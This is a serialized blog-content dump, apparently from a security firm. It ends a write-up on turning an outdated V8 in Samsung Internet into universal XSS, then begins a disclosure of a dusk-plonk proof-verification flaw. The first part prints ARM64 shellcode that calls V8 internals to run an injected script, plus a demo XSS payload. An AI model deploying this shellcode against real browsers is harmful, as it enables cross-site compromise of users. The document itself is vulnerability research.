page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[138721],{"type":19,"tag":27,"props":138722,"children":138723},{"__ignoreMap":7},[138724,138732,138740,138748,138756,138764,138772,138780,138788,138796,138804,138812,138820,138827,138835,138843,138851,138859,138866,138874,138881,138889,138897,138904,138911,138918,138925,138932,138939,138947,138955,138962,138970,138978,138985,138993,139001,139008,139015,139023,139031,139039,139046,139054,139062,139070,139078,139086,139094,139102,139110,139118,139126,139134,139141,139149,139157,139164,139172,139180,139188,139196,139203,139211,139218,139225,139233,139241,139249,139257,139266,139275,139283],{"type":19,"tag":168,"props":138725,"children":138726},{"class":170,"line":171},[138727],{"type":19,"tag":168,"props":138728,"children":138729},{},[138730],{"type":24,"value":138731},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":19,"tag":168,"props":138733,"children":138734},{"class":170,"line":198},[138735],{"type":19,"tag":168,"props":138736,"children":138737},{},[138738],{"type":24,"value":138739},"movz x1, #0xf7a0\n",{"type":19,"tag":168,"props":138741,"children":138742},{"class":170,"line":415},[138743],{"type":19,"tag":168,"props":138744,"children":138745},{},[138746],{"type":24,"value":138747},"movk x1, #0x0071, lsl #16\n",{"type":19,"tag":168,"props":138749,"children":138750},{"class":170,"line":450},[138751],{"type":19,"tag":168,"props":138752,"children":138753},{},[138754],{"type":24,"value":138755},"add x9, x12, x1\n",{"type":19,"tag":168,"props":138757,"children":138758},{"class":170,"line":560},[138759],{"type":19,"tag":168,"props":138760,"children":138761},{},[138762],{"type":24,"value":138763},"movz x1, #0x5ac8\n",{"type":19,"tag":168,"props":138765,"children":138766},{"class":170,"line":666},[138767],{"type":19,"tag":168,"props":138768,"children":138769},{},[138770],{"type":24,"value":138771},"movk x1, #0x054f, lsl #16\n",{"type":19,"tag":168,"props":138773,"children":138774},{"class":170,"line":694},[138775],{"type":19,"tag":168,"props":138776,"children":138777},{},[138778],{"type":24,"value":138779},"add x0, x12, x1\n",{"type":19,"tag":168,"props":138781,"children":138782},{"class":170,"line":707},[138783],{"type":19,"tag":168,"props":138784,"children":138785},{},[138786],{"type":24,"value":138787},"blr x9\n",{"type":19,"tag":168,"props":138789,"children":138790},{"class":170,"line":725},[138791],{"type":19,"tag":168,"props":138792,"children":138793},{},[138794],{"type":24,"value":138795},"// *x0 is isolate pointer\n",{"type":19,"tag":168,"props":138797,"children":138798},{"class":170,"line":746},[138799],{"type":19,"tag":168,"props":138800,"children":138801},{},[138802],{"type":24,"value":138803},"// store isolate ptr to stack\n",{"type":19,"tag":168,"props":138805,"children":138806},{"class":170,"line":755},[138807],{"type":19,"tag":168,"props":138808,"children":138809},{},[138810],{"type":24,"value":138811},"ldr x13, [x0]\n",{"type":19,"tag":168,"props":138813,"children":138814},{"class":170,"line":1008},[138815],{"type":19,"tag":168,"props":138816,"children":138817},{},[138818],{"type":24,"value":138819},"str x13, [sp, #-16]!\n",{"type":19,"tag":168,"props":138821,"children":138822},{"class":170,"line":1025},[138823],{"type":19,"tag":168,"props":138824,"children":138825},{"emptyLinePlaceholder":14},[138826],{"type":24,"value":1093},{"type":19,"tag":168,"props":138828,"children":138829},{"class":170,"line":1042},[138830],{"type":19,"tag":168,"props":138831,"children":138832},{},[138833],{"type":24,"value":138834},"// store x10 = v8::String::NewFromUTF8\n",{"type":19,"tag":168,"props":138836,"children":138837},{"class":170,"line":1055},[138838],{"type":19,"tag":168,"props":138839,"children":138840},{},[138841],{"type":24,"value":138842},"movz x1, #0x1140\n",{"type":19,"tag":168,"props":138844,"children":138845},{"class":170,"line":1064},[138846],{"type":19,"tag":168,"props":138847,"children":138848},{},[138849],{"type":24,"value":138850},"movk x1, #0x0242, lsl #16\n",{"type":19,"tag":168,"props":138852,"children":138853},{"class":170,"line":1087},[138854],{"type":19,"tag":168,"props":138855,"children":138856},{},[138857],{"type":24,"value":138858},"sub x10, x12, x1\n",{"type":19,"tag":168,"props":138860,"children":138861},{"class":170,"line":1096},[138862],{"type":19,"tag":168,"props":138863,"children":138864},{"emptyLinePlaceholder":14},[138865],{"type":24,"value":1093},{"type":19,"tag":168,"props":138867,"children":138868},{"class":170,"line":1105},[138869],{"type":19,"tag":168,"props":138870,"children":138871},{},[138872],{"type":24,"value":138873},"// mmap a RW page for our xss payload\n",{"type":19,"tag":168,"props":138875,"children":138876},{"class":170,"line":1174},[138877],{"type":19,"tag":168,"props":138878,"children":138879},{},[138880],{"type":24,"value":137224},{"type":19,"tag":168,"props":138882,"children":138883},{"class":170,"line":1182},[138884],{"type":19,"tag":168,"props":138885,"children":138886},{},[138887],{"type":24,"value":138888},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":19,"tag":168,"props":138890,"children":138891},{"class":170,"line":1212},[138892],{"type":19,"tag":168,"props":138893,"children":138894},{},[138895],{"type":24,"value":138896},"mov x2, #3\n",{"type":19,"tag":168,"props":138898,"children":138899},{"class":170,"line":1220},[138900],{"type":19,"tag":168,"props":138901,"children":138902},{},[138903],{"type":24,"value":137247},{"type":19,"tag":168,"props":138905,"children":138906},{"class":170,"line":1252},[138907],{"type":19,"tag":168,"props":138908,"children":138909},{},[138910],{"type":24,"value":137255},{"type":19,"tag":168,"props":138912,"children":138913},{"class":170,"line":1260},[138914],{"type":19,"tag":168,"props":138915,"children":138916},{},[138917],{"type":24,"value":137263},{"type":19,"tag":168,"props":138919,"children":138920},{"class":170,"line":1320},[138921],{"type":19,"tag":168,"props":138922,"children":138923},{},[138924],{"type":24,"value":137271},{"type":19,"tag":168,"props":138926,"children":138927},{"class":170,"line":6486},[138928],{"type":19,"tag":168,"props":138929,"children":138930},{},[138931],{"type":24,"value":137186},{"type":19,"tag":168,"props":138933,"children":138934},{"class":170,"line":6504},[138935],{"type":19,"tag":168,"props":138936,"children":138937},{"emptyLinePlaceholder":14},[138938],{"type":24,"value":1093},{"type":19,"tag":168,"props":138940,"children":138941},{"class":170,"line":6549},[138942],{"type":19,"tag":168,"props":138943,"children":138944},{},[138945],{"type":24,"value":138946},"// write our xss payload to mmapped rw page\n",{"type":19,"tag":168,"props":138948,"children":138949},{"class":170,"line":6655},[138950],{"type":19,"tag":168,"props":138951,"children":138952},{},[138953],{"type":24,"value":138954},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":19,"tag":168,"props":138956,"children":138957},{"class":170,"line":20965},[138958],{"type":19,"tag":168,"props":138959,"children":138960},{"emptyLinePlaceholder":14},[138961],{"type":24,"value":1093},{"type":19,"tag":168,"props":138963,"children":138964},{"class":170,"line":21000},[138965],{"type":19,"tag":168,"props":138966,"children":138967},{},[138968],{"type":24,"value":138969},"// store x11 = XSS_PAYLOAD string\n",{"type":19,"tag":168,"props":138971,"children":138972},{"class":170,"line":21008},[138973],{"type":19,"tag":168,"props":138974,"children":138975},{},[138976],{"type":24,"value":138977},"mov x11, x0\n",{"type":19,"tag":168,"props":138979,"children":138980},{"class":170,"line":21016},[138981],{"type":19,"tag":168,"props":138982,"children":138983},{"emptyLinePlaceholder":14},[138984],{"type":24,"value":1093},{"type":19,"tag":168,"props":138986,"children":138987},{"class":170,"line":21025},[138988],{"type":19,"tag":168,"props":138989,"children":138990},{},[138991],{"type":24,"value":138992},"// pop back isolate pointer\n",{"type":19,"tag":168,"props":138994,"children":138995},{"class":170,"line":21067},[138996],{"type":19,"tag":168,"props":138997,"children":138998},{},[138999],{"type":24,"value":139000},"ldr x13, [sp], #16\n",{"type":19,"tag":168,"props":139002,"children":139003},{"class":170,"line":21100},[139004],{"type":19,"tag":168,"props":139005,"children":139006},{"emptyLinePlaceholder":14},[139007],{"type":24,"value":1093},{"type":19,"tag":168,"props":139009,"children":139010},{"class":170,"line":21108},[139011],{"type":19,"tag":168,"props":139012,"children":139013},{},[139014],{"type":24,"value":137307},{"type":19,"tag":168,"props":139016,"children":139017},{"class":170,"line":21116},[139018],{"type":19,"tag":168,"props":139019,"children":139020},{},[139021],{"type":24,"value":139022},"// x13 = isolate *\n",{"type":19,"tag":168,"props":139024,"children":139025},{"class":170,"line":21125},[139026],{"type":19,"tag":168,"props":139027,"children":139028},{},[139029],{"type":24,"value":139030},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":19,"tag":168,"props":139032,"children":139033},{"class":170,"line":21201},[139034],{"type":19,"tag":168,"props":139035,"children":139036},{},[139037],{"type":24,"value":139038},"// x10 = v8::String::NewFromUtf8\n",{"type":19,"tag":168,"props":139040,"children":139041},{"class":170,"line":21234},[139042],{"type":19,"tag":168,"props":139043,"children":139044},{"emptyLinePlaceholder":14},[139045],{"type":24,"value":1093},{"type":19,"tag":168,"props":139047,"children":139048},{"class":170,"line":21242},[139049],{"type":19,"tag":168,"props":139050,"children":139051},{},[139052],{"type":24,"value":139053},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":19,"tag":168,"props":139055,"children":139056},{"class":170,"line":21250},[139057],{"type":19,"tag":168,"props":139058,"children":139059},{},[139060],{"type":24,"value":139061},"// arg0 = isolate *\n",{"type":19,"tag":168,"props":139063,"children":139064},{"class":170,"line":21287},[139065],{"type":19,"tag":168,"props":139066,"children":139067},{},[139068],{"type":24,"value":139069},"mov x0, x13\n",{"type":19,"tag":168,"props":139071,"children":139072},{"class":170,"line":21300},[139073],{"type":19,"tag":168,"props":139074,"children":139075},{},[139076],{"type":24,"value":139077},"// arg1 = char *c_str\n",{"type":19,"tag":168,"props":139079,"children":139080},{"class":170,"line":21313},[139081],{"type":19,"tag":168,"props":139082,"children":139083},{},[139084],{"type":24,"value":139085},"mov x1, x11\n",{"type":19,"tag":168,"props":139087,"children":139088},{"class":170,"line":21326},[139089],{"type":19,"tag":168,"props":139090,"children":139091},{},[139092],{"type":24,"value":139093},"// arg2 = type = kNormal\n",{"type":19,"tag":168,"props":139095,"children":139096},{"class":170,"line":21380},[139097],{"type":19,"tag":168,"props":139098,"children":139099},{},[139100],{"type":24,"value":139101},"mov x2, #0\n",{"type":19,"tag":168,"props":139103,"children":139104},{"class":170,"line":21389},[139105],{"type":19,"tag":168,"props":139106,"children":139107},{},[139108],{"type":24,"value":139109},"// arg4 = length\n",{"type":19,"tag":168,"props":139111,"children":139112},{"class":170,"line":29753},[139113],{"type":19,"tag":168,"props":139114,"children":139115},{},[139116],{"type":24,"value":139117},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":19,"tag":168,"props":139119,"children":139120},{"class":170,"line":29774},[139121],{"type":19,"tag":168,"props":139122,"children":139123},{},[139124],{"type":24,"value":139125},"// call NewFromUTF8\n",{"type":19,"tag":168,"props":139127,"children":139128},{"class":170,"line":78440},[139129],{"type":19,"tag":168,"props":139130,"children":139131},{},[139132],{"type":24,"value":139133},"blr x10\n",{"type":19,"tag":168,"props":139135,"children":139136},{"class":170,"line":78453},[139137],{"type":19,"tag":168,"props":139138,"children":139139},{"emptyLinePlaceholder":14},[139140],{"type":24,"value":1093},{"type":19,"tag":168,"props":139142,"children":139143},{"class":170,"line":78461},[139144],{"type":19,"tag":168,"props":139145,"children":139146},{},[139147],{"type":24,"value":139148},"// store x14 = String XSS_PAYLOAD\n",{"type":19,"tag":168,"props":139150,"children":139151},{"class":170,"line":78469},[139152],{"type":19,"tag":168,"props":139153,"children":139154},{},[139155],{"type":24,"value":139156},"mov x14, x0\n",{"type":19,"tag":168,"props":139158,"children":139159},{"class":170,"line":78477},[139160],{"type":19,"tag":168,"props":139161,"children":139162},{"emptyLinePlaceholder":14},[139163],{"type":24,"value":1093},{"type":19,"tag":168,"props":139165,"children":139166},{"class":170,"line":78517},[139167],{"type":19,"tag":168,"props":139168,"children":139169},{},[139170],{"type":24,"value":139171},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":19,"tag":168,"props":139173,"children":139174},{"class":170,"line":78525},[139175],{"type":19,"tag":168,"props":139176,"children":139177},{},[139178],{"type":24,"value":139179},"movz x1, #0xe44c\n",{"type":19,"tag":168,"props":139181,"children":139182},{"class":170,"line":85712},[139183],{"type":19,"tag":168,"props":139184,"children":139185},{},[139186],{"type":24,"value":139187},"movk x1, #0x014e, lsl #16\n",{"type":19,"tag":168,"props":139189,"children":139190},{"class":170,"line":85720},[139191],{"type":19,"tag":168,"props":139192,"children":139193},{},[139194],{"type":24,"value":139195},"sub x9, x12, x1\n",{"type":19,"tag":168,"props":139197,"children":139198},{"class":170,"line":99064},[139199],{"type":19,"tag":168,"props":139200,"children":139201},{"emptyLinePlaceholder":14},[139202],{"type":24,"value":1093},{"type":19,"tag":168,"props":139204,"children":139205},{"class":170,"line":99072},[139206],{"type":19,"tag":168,"props":139207,"children":139208},{},[139209],{"type":24,"value":139210},"// call v8::internal::DebugEvaluate::Global\n",{"type":19,"tag":168,"props":139212,"children":139213},{"class":170,"line":99080},[139214],{"type":19,"tag":168,"props":139215,"children":139216},{},[139217],{"type":24,"value":139061},{"type":19,"tag":168,"props":139219,"children":139220},{"class":170,"line":99088},[139221],{"type":19,"tag":168,"props":139222,"children":139223},{},[139224],{"type":24,"value":139069},{"type":19,"tag":168,"props":139226,"children":139227},{"class":170,"line":99116},[139228],{"type":19,"tag":168,"props":139229,"children":139230},{},[139231],{"type":24,"value":139232},"// arg1 = String *source\n",{"type":19,"tag":168,"props":139234,"children":139235},{"class":170,"line":101887},[139236],{"type":19,"tag":168,"props":139237,"children":139238},{},[139239],{"type":24,"value":139240},"mov x1, x14\n",{"type":19,"tag":168,"props":139242,"children":139243},{"class":170,"line":101895},[139244],{"type":19,"tag":168,"props":139245,"children":139246},{},[139247],{"type":24,"value":139248},"// arg2 = mode = kDefault\n",{"type":19,"tag":168,"props":139250,"children":139252},{"class":170,"line":139251},69,[139253],{"type":19,"tag":168,"props":139254,"children":139255},{},[139256],{"type":24,"value":139101},{"type":19,"tag":168,"props":139258,"children":139260},{"class":170,"line":139259},70,[139261],{"type":19,"tag":168,"props":139262,"children":139263},{},[139264],{"type":24,"value":139265},"// arg3 = repl_mode = kYes\n",{"type":19,"tag":168,"props":139267,"children":139269},{"class":170,"line":139268},71,[139270],{"type":19,"tag":168,"props":139271,"children":139272},{},[139273],{"type":24,"value":139274},"mov x3, #0\n",{"type":19,"tag":168,"props":139276,"children":139278},{"class":170,"line":139277},72,[139279],{"type":19,"tag":168,"props":139280,"children":139281},{"emptyLinePlaceholder":14},[139282],{"type":24,"value":1093},{"type":19,"tag":168,"props":139284,"children":139286},{"class":170,"line":139285},73,[139287],{"type":19,"tag":168,"props":139288,"children":139289},{},[139290],{"type":24,"value":138787},{"type":19,"tag":7050,"props":139292,"children":139294},{"id":139293},"uxss-demo",[139295],{"type":24,"value":139296},"UXSS Demo",{"type":19,"tag":20,"props":139298,"children":139299},{},[139300,139302,139308],{"type":24,"value":139301},"Below is a demo that executes the following UXSS payload: ",{"type":19,"tag":27,"props":139303,"children":139305},{"className":139304},[],[139306],{"type":24,"value":139307},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":24,"value":948},{"type":19,"tag":129345,"props":139310,"children":139313},{"className":139311,"controls":14},[139312],"blog-video-responsive",[139314,139316,139320],{"type":24,"value":139315},"\n ",{"type":19,"tag":138551,"props":139317,"children":139319},{"src":139318,"type":129343},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":24,"value":139321},"\n Your browser does not support the video tag.\n",{"type":19,"tag":36,"props":139323,"children":139324},{"id":26402},[139325],{"type":24,"value":16400},{"type":19,"tag":20,"props":139327,"children":139328},{},[139329],{"type":24,"value":139330},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":19,"tag":20,"props":139332,"children":139333},{},[139334],{"type":24,"value":139335},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":19,"tag":232,"props":139337,"children":139338},{},[139339],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":139341},[139342,139346,139349,139359],{"id":26485,"depth":198,"text":26488,"children":139343},[139344,139345],{"id":129479,"depth":415,"text":129482},{"id":129562,"depth":415,"text":129565},{"id":129595,"depth":198,"text":129598,"children":139347},[139348],{"id":129736,"depth":415,"text":129590},{"id":129880,"depth":198,"text":129883,"children":139350},[139351,139352,139353,139354,139355,139356,139357,139358],{"id":129886,"depth":415,"text":129889},{"id":130343,"depth":415,"text":130346},{"id":130526,"depth":415,"text":130529},{"id":130637,"depth":415,"text":130640},{"id":130914,"depth":415,"text":130917},{"id":133624,"depth":415,"text":133627},{"id":136905,"depth":415,"text":136908},{"id":139293,"depth":415,"text":139296},{"id":26402,"depth":198,"text":16400},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":139364,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":139365,"description":139366,"date":139367,"author":139368,"image":139369,"isFeatured":14,"onBlogPage":14,"tags":139371,"body":139374,"_type":242,"_id":144638,"_source":244,"_file":144639,"_stem":144640,"_extension":247},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[105325,105326],{"src":139370,"width":94756,"height":11069},"/posts/dusk-commitment-issues/title.png",[139372,139373],"dusk","plonk",{"type":16,"children":139375,"toc":144618},[139376,139382,139423,139435,139441,139455,139460,139466,139757,139761,140033,140263,140269,140954,140958,141453,141461,141467,141486,141491,141497,141722,141761,141772,141778,141789,142497,142502,142505,142511,142564,142599,142631,142636,142640,142643,142649,142660,142673,142704,142771,142779,142801,142814,143241,143264,143269,143272,143277,143304,143400,143411,143458,143496,143507,143845,143862,143870,143873,143879,143884,143918,143926,144007,144010,144016,144030,144048,144053,144093,144101,144122,144125,144131,144136,144201,144215,144218,144224,144264,144275,144280,144285,144291,144305,144386,144407,144434,144437,144443,144457,144462,144467,144472,144607,144613],{"type":19,"tag":32847,"props":139377,"children":139379},{"id":139378},"commitment-issues-unverified-evaluations-in-dusks-plonk",[139380],{"type":24,"value":139381},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":19,"tag":20,"props":139383,"children":139384},{},[139385,139387,139394,139396,139403,139405,139412,139414,139421],{"type":24,"value":139386},"We found a critical soundness vulnerability in ",{"type":19,"tag":269,"props":139388,"children":139391},{"href":139389,"rel":139390},"https://github.com/dusk-network/plonk/",[273],[139392],{"type":24,"value":139393},"dusk-plonk",{"type":24,"value":139395},", the PLONK implementation powering ",{"type":19,"tag":269,"props":139397,"children":139400},{"href":139398,"rel":139399},"https://dusk.network/",[273],[139401],{"type":24,"value":139402},"Dusk Network's",{"type":24,"value":139404}," ~$60M ",{"type":19,"tag":269,"props":139406,"children":139409},{"href":139407,"rel":139408},"https://www.coingecko.com/en/coins/dusk",[273],[139410],{"type":24,"value":139411},"market cap",{"type":24,"value":139413},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":19,"tag":269,"props":139415,"children":139418},{"href":139416,"rel":139417},"https://github.com/dusk-network/rusk",[273],[139419],{"type":24,"value":139420},"Rusk",{"type":24,"value":139422}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":19,"tag":20,"props":139424,"children":139425},{},[139426,139428,139433],{"type":24,"value":139427},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":19,"tag":51,"props":139429,"children":139430},{},[139431],{"type":24,"value":139432},"without ever validating them against the trusted commitments in the verifier key.",{"type":24,"value":139434}," The prover can set them to whatever values make the equation pass.",{"type":19,"tag":36,"props":139436,"children":139438},{"id":139437},"how-plonk-works-briefly",[139439],{"type":24,"value":139440},"How PLONK works (briefly)",{"type":19,"tag":20,"props":139442,"children":139443},{},[139444,139446,139453],{"type":24,"value":139445},"For a rigorous treatment see the ",{"type":19,"tag":269,"props":139447,"children":139450},{"href":139448,"rel":139449},"https://eprint.iacr.org/2019/953",[273],[139451],{"type":24,"value":139452},"original paper",{"type":24,"value":139454},"; what follows covers only the parts needed to understand the bug.",{"type":19,"tag":20,"props":139456,"children":139457},{},[139458],{"type":24,"value":139459},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":19,"tag":7050,"props":139461,"children":139463},{"id":139462},"arithmetic-circuits-and-constraints",[139464],{"type":24,"value":139465},"Arithmetic circuits and constraints",{"type":19,"tag":20,"props":139467,"children":139468},{},[139469,139471,139520,139522,139671,139673,139756],{"type":24,"value":139470},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":19,"tag":27,"props":139472,"children":139474},{"className":139473},[1411,1412],[139475],{"type":19,"tag":168,"props":139476,"children":139478},{"className":139477},[1417],[139479],{"type":19,"tag":168,"props":139480,"children":139482},{"className":139481,"ariaHidden":1423},[1422],[139483],{"type":19,"tag":168,"props":139484,"children":139486},{"className":139485},[1428],[139487,139491,139496,139501,139506,139510,139515],{"type":19,"tag":168,"props":139488,"children":139490},{"className":139489,"style":1541},[1433],[],{"type":19,"tag":168,"props":139492,"children":139494},{"className":139493},[19172],[139495],{"type":24,"value":500},{"type":19,"tag":168,"props":139497,"children":139499},{"className":139498},[1439,19043],[139500],{"type":24,"value":16729},{"type":19,"tag":168,"props":139502,"children":139504},{"className":139503},[1552],[139505],{"type":24,"value":1555},{"type":19,"tag":168,"props":139507,"children":139509},{"className":139508,"style":1559},[1520],[],{"type":19,"tag":168,"props":139511,"children":139513},{"className":139512,"style":91021},[1439,19043],[139514],{"type":24,"value":510},{"type":19,"tag":168,"props":139516,"children":139518},{"className":139517},[19194],[139519],{"type":24,"value":524},{"type":24,"value":139521}," on an elliptic curve, by e.g proving that ",{"type":19,"tag":27,"props":139523,"children":139525},{"className":139524},[1411,1412],[139526],{"type":19,"tag":168,"props":139527,"children":139529},{"className":139528},[1417],[139530],{"type":19,"tag":168,"props":139531,"children":139533},{"className":139532,"ariaHidden":1423},[1422],[139534,139596,139658],{"type":19,"tag":168,"props":139535,"children":139537},{"className":139536},[1428],[139538,139542,139583,139587,139592],{"type":19,"tag":168,"props":139539,"children":139541},{"className":139540,"style":120871},[1433],[],{"type":19,"tag":168,"props":139543,"children":139545},{"className":139544},[1439],[139546,139551],{"type":19,"tag":168,"props":139547,"children":139549},{"className":139548,"style":91021},[1439,19043],[139550],{"type":24,"value":510},{"type":19,"tag":168,"props":139552,"children":139554},{"className":139553},[1456],[139555],{"type":19,"tag":168,"props":139556,"children":139558},{"className":139557},[1461],[139559],{"type":19,"tag":168,"props":139560,"children":139562},{"className":139561},[1466],[139563],{"type":19,"tag":168,"props":139564,"children":139566},{"className":139565,"style":1434},[1471],[139567],{"type":19,"tag":168,"props":139568,"children":139569},{"style":1475},[139570,139574],{"type":19,"tag":168,"props":139571,"children":139573},{"className":139572,"style":1481},[1480],[],{"type":19,"tag":168,"props":139575,"children":139577},{"className":139576},[1486,1487,1488,1489],[139578],{"type":19,"tag":168,"props":139579,"children":139581},{"className":139580},[1439,1489],[139582],{"type":24,"value":519},{"type":19,"tag":168,"props":139584,"children":139586},{"className":139585,"style":1618},[1520],[],{"type":19,"tag":168,"props":139588,"children":139590},{"className":139589},[1623],[139591],{"type":24,"value":486},{"type":19,"tag":168,"props":139593,"children":139595},{"className":139594,"style":1618},[1520],[],{"type":19,"tag":168,"props":139597,"children":139599},{"className":139598},[1428],[139600,139604,139645,139649,139654],{"type":19,"tag":168,"props":139601,"children":139603},{"className":139602,"style":120746},[1433],[],{"type":19,"tag":168,"props":139605,"children":139607},{"className":139606},[1439],[139608,139613],{"type":19,"tag":168,"props":139609,"children":139611},{"className":139610},[1439,19043],[139612],{"type":24,"value":16729},{"type":19,"tag":168,"props":139614,"children":139616},{"className":139615},[1456],[139617],{"type":19,"tag":168,"props":139618,"children":139620},{"className":139619},[1461],[139621],{"type":19,"tag":168,"props":139622,"children":139624},{"className":139623},[1466],[139625],{"type":19,"tag":168,"props":139626,"children":139628},{"className":139627,"style":1434},[1471],[139629],{"type":19,"tag":168,"props":139630,"children":139631},{"style":1475},[139632,139636],{"type":19,"tag":168,"props":139633,"children":139635},{"className":139634,"style":1481},[1480],[],{"type":19,"tag":168,"props":139637,"children":139639},{"className":139638},[1486,1487,1488,1489],[139640],{"type":19,"tag":168,"props":139641,"children":139643},{"className":139642},[1439,1489],[139644],{"type":24,"value":14745},{"type":19,"tag":168,"props":139646,"children":139648},{"className":139647,"style":1521},[1520],[],{"type":19,"tag":168,"props":139650,"children":139652},{"className":139651},[1526],[139653],{"type":24,"value":1811},{"type":19,"tag":168,"props":139655,"children":139657},{"className":139656,"style":1521},[1520],[],{"type":19,"tag":168,"props":139659,"children":139661},{"className":139660},[1428],[139662,139666],{"type":19,"tag":168,"props":139663,"children":139665},{"className":139664,"style":91566},[1433],[],{"type":19,"tag":168,"props":139667,"children":139669},{"className":139668},[1439],[139670],{"type":24,"value":52154},{"type":24,"value":139672},", here in ",{"type":19,"tag":27,"props":139674,"children":139676},{"className":139675},[1411,1412],[139677],{"type":19,"tag":168,"props":139678,"children":139680},{"className":139679},[1417],[139681],{"type":19,"tag":168,"props":139682,"children":139684},{"className":139683,"ariaHidden":1423},[1422],[139685],{"type":19,"tag":168,"props":139686,"children":139688},{"className":139687},[1428],[139689,139694],{"type":19,"tag":168,"props":139690,"children":139693},{"className":139691,"style":139692},[1433],"height:0.8389em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":139695,"children":139697},{"className":139696},[1439],[139698,139703],{"type":19,"tag":168,"props":139699,"children":139701},{"className":139700},[1439,119309],[139702],{"type":24,"value":119312},{"type":19,"tag":168,"props":139704,"children":139706},{"className":139705},[1456],[139707],{"type":19,"tag":168,"props":139708,"children":139710},{"className":139709},[1461,19097],[139711,139745],{"type":19,"tag":168,"props":139712,"children":139714},{"className":139713},[1466],[139715,139740],{"type":19,"tag":168,"props":139716,"children":139718},{"className":139717,"style":90587},[1471],[139719],{"type":19,"tag":168,"props":139720,"children":139721},{"style":90591},[139722,139726],{"type":19,"tag":168,"props":139723,"children":139725},{"className":139724,"style":1481},[1480],[],{"type":19,"tag":168,"props":139727,"children":139729},{"className":139728},[1486,1487,1488,1489],[139730],{"type":19,"tag":168,"props":139731,"children":139733},{"className":139732},[1439,1489],[139734],{"type":19,"tag":168,"props":139735,"children":139737},{"className":139736},[1439,1489],[139738],{"type":24,"value":139739},"37",{"type":19,"tag":168,"props":139741,"children":139743},{"className":139742},[19200],[139744],{"type":24,"value":19203},{"type":19,"tag":168,"props":139746,"children":139748},{"className":139747},[1466],[139749],{"type":19,"tag":168,"props":139750,"children":139752},{"className":139751,"style":90618},[1471],[139753],{"type":19,"tag":168,"props":139754,"children":139755},{},[],{"type":24,"value":948},{"type":19,"tag":139758,"props":139759,"children":139760},"arithmetic-circuit-widget",{},[],{"type":19,"tag":20,"props":139762,"children":139763},{},[139764,139766,139792,139794,139873,139875,139952,139954,140031],{"type":24,"value":139765},"Each gate ",{"type":19,"tag":27,"props":139767,"children":139769},{"className":139768},[1411,1412],[139770],{"type":19,"tag":168,"props":139771,"children":139773},{"className":139772},[1417],[139774],{"type":19,"tag":168,"props":139775,"children":139777},{"className":139776,"ariaHidden":1423},[1422],[139778],{"type":19,"tag":168,"props":139779,"children":139781},{"className":139780},[1428],[139782,139787],{"type":19,"tag":168,"props":139783,"children":139786},{"className":139784,"style":139785},[1433],"height:0.6595em;",[],{"type":19,"tag":168,"props":139788,"children":139790},{"className":139789},[1439,19043],[139791],{"type":24,"value":1157},{"type":24,"value":139793}," has a left input 